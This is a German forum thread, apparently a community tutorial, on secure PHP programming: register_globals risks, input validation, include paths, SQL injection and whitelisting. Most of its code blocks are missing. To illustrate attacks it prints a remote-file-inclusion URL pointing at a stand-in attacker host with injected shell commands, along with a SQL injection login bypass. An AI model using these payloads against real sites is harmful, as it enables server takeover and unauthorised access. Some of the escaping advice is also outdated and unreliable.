| Homepage | CGI/Perl Scripte | PHP Scripte | Artikel | CGI-Perl Workshop | SELFHTML | SELFPHP | Linkdatenbank | Grafikdownloads |
![]() |
|
|
#1 |
|
Registrierter Benutzer
eLiTe mEmBeR
Registriert seit: 06.2001
Ort: Vogtland
Beiträge: 6.076
|
Vorab:
Ich möchte Euch bitten in diesem Topic nicht über die aufgezeigten Mittel und Wege zu diskutieren, sondern in diesem Fall bitte einen Extra-Thread im Bereich PHP & MySQL zu eröffnen. Dieser Thread soll ein Leitfaden zu sicheren und besseren PHP-Programmierung werden. Jeder der dazu beitragen kann, darf das auch gerne tun, Diskussionen dazu aber wie gesagt bitte in einem Extra-Thread... Vieleicht kann Helmut das ja sogar oben festpinnen 1. Register_Globals Was ist register_globals eigentlich? Unter register_globals = on; (php.ini) ist es möglich Variablen von einer anderen Herkunft zu verwenden ohne diese neu definieren zu müssen. Auf den ersten Blick mag diese Einstellung einiges an Arbeit dem Programmierer abnehmen. Betrachtet man dies aber näher, erkennt man schnell ein potenzielles Sicherheitsrisiko. Schauen wir uns das mal anhand eines einfachen Kontaktformulars an: Das Formular selber: HTML-Code:
<html> <body> <form action="mail.php" method="post"> Dein Name: <input type="text" name="name"><br /> Deine eMail: <input type="text" name="email"><br /> Nachricht: <input type="textarena" name="nachricht"><br /> <input type="submit" value="Senden" name="submit"></form> </body> </html> PHP-Code:
Was passiert aber nun wenn ein böser Mensch auf die mail.php direkt via URL so zugreift: Code:
http://www.url.de/mail.php?nachricht=Ich%20bin%20ein%20Spammer,%20besuch%20doch%20mal%20folgende%20URLS&name=Spammer&email=sagich@nicht.de Die Nachricht wird denoch verschickt, da ALLE Variablen, egal ob es sie jemals gab oder nicht, global registriert sind. Und noch dazu haben wir uns ein Script gebaut das, uns in Zukunft auch noch selber mit SPAM überschütten wird. ;-) Es ist dem Script also absolut egal ob bsw. $email aus einer GET oder POST Übergabe kam, ob sie aus einer Session oder aus einem Cookie kommt! Lassen wir es mal etwas komplizierter werden, um zu demonstrieren wieso die Verwendung von register_globals = on wirklich gefährlich ist. Wir verwenden eine nettes Script das wir irgendwo runtergeladen haben. (z.B. ein Gästebuch) Dieses verwendet einen Konfigurationsdatei, in der Sachen wie Pfad, URL etc.. gespeichert sind: PHP-Code:
Nun nutzt er die Funktion der Global Registrierten Variablen für sich aus, um über seinen eigenen Server auf dem angegriffenen Server einen Ordner zu erstellen und dort bsw. ein Spam-Script zu plazieren. Dazu nutzt er die globale Variable $pfad, um darin die URL zu einem eigenem Programm einzuschleusen: Code:
http://www.url.de/gbook/eintragen.php?pfad=http://angreifer.to/abc.jpg?&do=cd%20/html/home/user1234/;ls%20-al Mit dieser Variante kann der Angreifer immer weiter vordringen und mit dem FTP-Server machen was er will - Anlegen eines Verzeichnisses - Umbenennen eines Verzeichnisses - Kopieren eines Scriptes von seinem Server auf den angegriffenen Server Diese Liste könnte man jetzt immer weiterführen, aber spätestens hier sieht man das der Angreifer fast die komplette Kontrolle über den FTP-Server besitzt, OHNE selber auf ihm drauf zusein. So ist es dann möglich das zB. Startseiten überschrieben werden (Defacement), der Server zum Spammen benutzt wird oder - im schlimmsten Fall - alle Dateien gelöscht werden. Was kannst Du nun tun um nicht selber auch zu einem Sicherheitsrisiko wirst? 1. Frag Deinen Provider ob bei Dir register_globals auf OFF steht und wenn nicht, lass es deaktivieren! Solte der Provider das nicht wollen, frag ihn ob es bei ihm möglich ist bsw. via .htaccess register_globals zu deaktivieren. Bei All-Inkl.com ist dies mittels folgenden Eintrag in die .htaccess Datei möglich: Code:
php_flag register_globals off Natürlich sollte hier erwähnt werden das ältere oder "schlecht" programmierte Scripte, welche register_globals auf ON vorraussetzen, nicht mehr funktionieren werden. Aber wenn man oben angeführte Beispiele überdenkt, sind diese Scripte ohnehin ein Sicherheitsrisiko und sollten überarbeitet oder ausgetauscht werden. 2. Registriere und definiere Variablen die Du in Deinen Scripten verwendest immer selber und weise ihnen direkt am Anfang des Scriptes einen leeren String zu! PHP-Code:
PHP-Code:
Denn ist ein System erst einmal befallen, macht es wessentlich mehr Arbeit es wieder zu reinigen - noch dazu ist in den meisten Fällen dann bereits ein großer Schaden enstanden. Bleiben wir beim Beispiel mit dem Spamscript, kannst Du davon ausgehen das dieses Script dann keiner hinterlassen hat der seiner Oma und seiner Mutti mal eine eMail schicken wollte. Innerhalb von wenigen Stunden kann ein richtiger Powerspammer einiges an Datenverkehr bewegen - Datenverkehr denn Du evtl. sogar extra bezahlen musst.
__________________
Erste Deutsche Juan Montoya Fanpage | Das Formel 1 Tipspiel | Spider-Software.de Meine Tutorials Geändert von Spider (13.10.2006 um 21:05 Uhr) |
|
|
|
|
|
#2 |
|
Registrierter Benutzer
eLiTe mEmBeR
Registriert seit: 06.2001
Ort: Vogtland
Beiträge: 6.076
|
2. Validierung von übergebenen Variablen
Immer wieder sieht man es das übergebene Werte ungeprüft verarbeitet oder weitergegeben werden. Warum das gefährlich ist und wie man Variablen überprüfen kann, zeige ich hier. Viele haben zwar inzwischen verstanden das man Variablen überprüfen muss wenn man sie an die Datenbank schicken muss, aber die meisten vergessen das es neben SQL-Injection auch die Code-Injection gibt. Grundsätzlich gilt es das HTML und PHP-Code aus allen übergebenen Werten zu entfernen ist, wenn es nicht ausdrücklich erwünscht ist. Mit der Funktion strip_tags() kann man diesen Code entfernen und alternativ bestimmte Tags zulassen. PHP-Code:
Übergabe von Dateinamen für include: Oft sieht man Seite die ein Template-System verwenden und die anzuzeigende Dateien zum includen über die URL weitergeben Code:
http://www.url.de/index.php?seite=seite/kontakt.html Daher sollte man ein solches Vorgehen tunlichst vermeiden. Besser ist es nur den Name der einzubindenden Seite zu übergeben, den Pfad UND die Dateiendung im Script selber zuzuweisen. Man kann jetzt prüfen, ob in der übergebenen Variable ein / enthalten ist und wenn ja, abbrechen: PHP-Code:
Wenn ihr in einer Variable eine Zahl, und nichts anderes als eine Zahl erwartet, geht sicher das der Wert auch eine Zahl ist. Dies kann man sehr einfach un effektiv durch das zuaddieren von 0 erreichen. Denn dadurch wird die Konvertierung zu Integer erzwungen, egal was in der Variable steht: PHP-Code:
MySQL-Übergaben: Jede, und ich meine wirklich jede, Varible die an einen Datenbank geschickt wird muss vorher maskiert werden um SQL-Injections vorzubeugen. Ideallerweise verwendet man dazu die Funktion mysql-real-escape-string() Macht man das nicht, ist es möglich sich in geschützte Bereiche einfach so einzulogen, oder sogar die komplette Datenbank zu löschen: PHP-Code:
Code:
SELECT * FROM users WHERE user='Tester' AND password='' OR ''='' Bei Verwendung von mysql-real-escape-string() muss bereits eine Verbindung zu Datenbank bestehen, ansonsten wird eine Warnung ausgegeben. Ausserdem solltet ihr beachten das ihr die Daten erst mit stripslashes() behandelt, wenn bei Eurem Provider die Option magic_quotes_gpc aktiviert ist. Die Verwendung von mysql-real-escape-string() würde sonst zu einer doppelten Maskierung der Daten führen. Ob magic_quotes_gpc bei Euch aktiviert ist, erfahrt ihr bei Eurem Hoster.
__________________
Erste Deutsche Juan Montoya Fanpage | Das Formel 1 Tipspiel | Spider-Software.de Meine Tutorials Geändert von Spider (14.10.2006 um 18:55 Uhr) |
|
|
|
|
|
#3 |
|
Registrierter Benutzer
eLiTe mEmBeR
Registriert seit: 06.2001
Ort: Vogtland
Beiträge: 6.076
|
Dieser Tipp wurde von Helmut eingereicht, vielen Dank dafür
![]() Oft sieht man es das sich viele Webseiten-Programmierer auf im HTML-Code festgelegte Werte verlassen, die Einhaltung dessen aber nicht kontrollieren. Ein gutes Beispiel ist die maxlength-Angabe in Formular-Daten. Kopiert man sich den HTML-Code aus dem Login-Formular zB. heraus und speichert den lokal kann man ellenlange Benutzernamen/Passwörter an das System schicken... Mit einem einfachen Check im Script kann man dies verhindern: PHP-Code:
Code:
$pw = datensaver($_POST['pw'], 30, 2);und übrig bleiben Zahlen und Buchstaben. 2 = nur 0-9a-zA-ZÀ-Üà-üß Wenn hier nun einen ein Passwort eingibt ala "abc$%123" wird von der Funktion lediglich "abc123" zurückgegeben. Evtl. enthaltene gefährliche Codestücke wurde ausgefiltert. Wird fortgesetzt ...
__________________
Erste Deutsche Juan Montoya Fanpage | Das Formel 1 Tipspiel | Spider-Software.de Meine Tutorials |
|
|
|
|
|
#4 |
|
Registrierter Benutzer
eLiTe mEmBeR
Registriert seit: 06.2001
Ort: Vogtland
Beiträge: 6.076
|
Hallo,
Nachtrag zur Funktion "datensaver()" aus dem vorherigen Beitrag Auf diesen Schönheitsfehler wurde ich heute von micha02 hingewiesen, vielen Dank dafür ![]() Was passiert, wenn man an die Funktion bsw. '<b>Hans</b>' übergibt und man Zahlen und Buchstaben erlaubt? Genau... es bleiben nur Zahlen und Buchstaben übrig. Hier in diesem Fall hätte diese Funktion eine Auswirkung auf die HTML-Steuerzeichen < und >, welche entfernt würde. Als Ergebniss bleibe bHansb übrig. Sieht bissel unschön aus ![]() Also lassen wir in der Funktion zuerst sämlichen HTML und PHP Tags herrausfiltern. Die neue Funktion mit strip_tags() PHP-Code:
__________________
Erste Deutsche Juan Montoya Fanpage | Das Formel 1 Tipspiel | Spider-Software.de Meine Tutorials |
|
|
|
|
|
#5 |
|
Moderator
Registriert seit: 04.2001
Ort: Brand-Erbisdorf
Beiträge: 24.038
|
Hi,
Schönheitsfehler würde ich das nicht unbedingt nennen, man kann ja schon verschiedene Regextypen definieren, das HTML bei bestimmten eingaben gefiltert wird sollte dann natürlich auch da im Formular stehen. Ich würde zumindest das strip_tags nicht global anwenden. Wenn man z.B. einen Templateeditor hat der HTML erlaubt schrottet man sich so alle Daten des Templates. Da würde ich dann eher die Sachen beim editieren in der Textarea so umwandeln Code:
$htmldaten = preg_replace("/&(?#[0-9]+|[a-z]+;)/m", "&$1", $htmldaten);
$htmldaten = preg_replace("/</m", '<', $htmldaten);
$htmldaten = preg_replace("/>/m", '>', $htmldaten);
Code:
$htmldaten = preg_replace('/\r/', '', $htmldaten);
$htmldaten = preg_replace('/</', '<', $htmldaten);
$htmldaten = preg_replace('/>/', '>', $htmldaten);
Je nachdem wer da HTML Code eingeben darf sollte man dann noch eine Blackliste anlegen die Javascript (falls verboten) filtert. Cu Helmut
__________________
[Nur wer selber mal probiert lernt auch dazu] |
|
|
|
|
|
#6 |
|
Registrierter Benutzer
Member
Registriert seit: 07.2004
Ort: Schweiz
Beiträge: 202
|
Um eine Manipulation von nummerischen Variablen festzustellen, muss man die Variable nach dem Casten mit dem ursprünglichen Wert vergleichen.
PHP-Code:
__________________
Gruss Stef |
|
|
|
|
|
#7 |
|
Registrierter Benutzer
eLiTe mEmBeR
Registriert seit: 06.2001
Ort: Vogtland
Beiträge: 6.076
|
2. Validierung von übergebenen Variablen - Teil 2
Eine weitere effektive Methode zu richtigen Validierung von übergebenen Werten ist eine sogenannte Whitelist. Viele machen sich umständlich die Mühe aus übergebenen Werten das herauszufiltern was potenziell schädlich ist. Dabei ist es viel einfacher auf erwartete Werte zu reagieren. Natürlich kann man diese Methode nicht verwenden um Benutzernamen, Passwörter oder ähnliches aus einem Registrierungs-oder Anmeldeformular auf Korrektheit zu überprüfen. Wohl aber bei Werten die uns von vorn herein bekannt sind, bsw. für das includen bestimmter Dateien aus einer GET/POST Anweisung. Dazu erstellt man als erstes ein Array, in dem man die bekannten, erwarteten Werte definiert: PHP-Code:
Alternative kann man auch einen Standart-Wert definieren, falls der übergebene Wert nicht mit dem Array der Whitelist übereinstimmt: PHP-Code:
In einer Blacklist kann man immer etwas vergessen, in einer Whitelist hat man die Daten vorgegeben auf die man auch wartet. Cu
__________________
Erste Deutsche Juan Montoya Fanpage | Das Formel 1 Tipspiel | Spider-Software.de Meine Tutorials |
|
|
|
|
|
#8 |
|
Registrierter Benutzer
Member
Registriert seit: 07.2004
Ort: Schweiz
Beiträge: 202
|
Formular Manipulation
Aus dem Heft PHP Jounrnal Mit Hilfe eines lediglich im eigenen Programm bekannten geheimen Werts und des MD5-Algorithmus lässt sich sehr einfach ein so genannter Hash-Wert ermitteln, der zusätzlich zu den ursprünglichen Werten als Hidden-Feld in die PHP-Seite gesetzt wird. Seite mit Formular: PHP-Code:
HTML-Code:
<input type="hidden" name="so" value="<?=strip_tags($musssobleiben)?>"> <input type="hidden" name="hash" value="<?=strip_tags($md5hash)?>"> Seite die Daten auswertet: PHP-Code:
__________________
Gruss Stef Geändert von bubuuu (22.06.2008 um 11:19 Uhr) |
|
|
|
|
|
#9 |
|
Registrierter Benutzer
Board-Member
Registriert seit: 02.2008
Beiträge: 364
|
Hallo.
Was ich vermisse in dem Thema wären auch ein paar hilfreiche Zeilen zum verhindern von Angriffen über Session Hijacking und Session Fixation. Habe im Netz schon gesucht aber bin aus vielen Sachen nicht schlau geworden. Wäre spitze wenn da noch was kommt.
__________________
Taugenichtse die was haben,haben etwas gegen habenichtse die was taugen! Meine Seite http://www.lit-web.de |
|
|
|
|
|
#10 |
|
Moderator
Registriert seit: 04.2001
Ort: Brand-Erbisdorf
Beiträge: 24.038
|
...
das ist auch nur ein Thema der Datenvalidierung im richtigen Kontext. Wenn Du alles was bei Dir an $variablen durchs Script geistert richtig behandelst ist schon fast alles getan. Wenn ich alles schreibe, dann meine ich aber auch alles. Nicht nur die Absicherung gegen SQL Injection. Auch bei der Ausgabe, Hidden Form Feldern, Cookies muss der Inhalt gecheckt werden. Cu Helmut
__________________
[Nur wer selber mal probiert lernt auch dazu] |
|
|
|
![]() |
| Stichworte |
| php, sicher programmieren, spider, spider-tutorial |
| Themen-Optionen | |
| Ansicht | |
|
|
Ähnliche Themen
|
||||
| Thema | Autor | Forum | Antworten | Letzter Beitrag |
| all-inkl php | forenlandschaft | PHP und MySQL | 16 | 17.09.2004 14:29 |
| CGI-Perl oder PHP? | micha02 | CGI und Perl Forum | 6 | 10.12.2003 16:33 |
| Ist das so richtig: PHP + Apache | KoLSMS | PHP und MySQL | 4 | 05.04.2003 17:01 |
| PHP Dateien als *.htm speichern und trozdem als PHP behandeln lassen | Chacky | PHP und MySQL | 3 | 02.01.2003 20:28 |
| NEWSSCRIPT OHNE SSI GESUCHT!! ODER SSI SCRIPT IN PHP EINGEBUNDEN! | morpheus456 | Suche Script - Script gefunden | 9 | 25.01.2002 16:38 |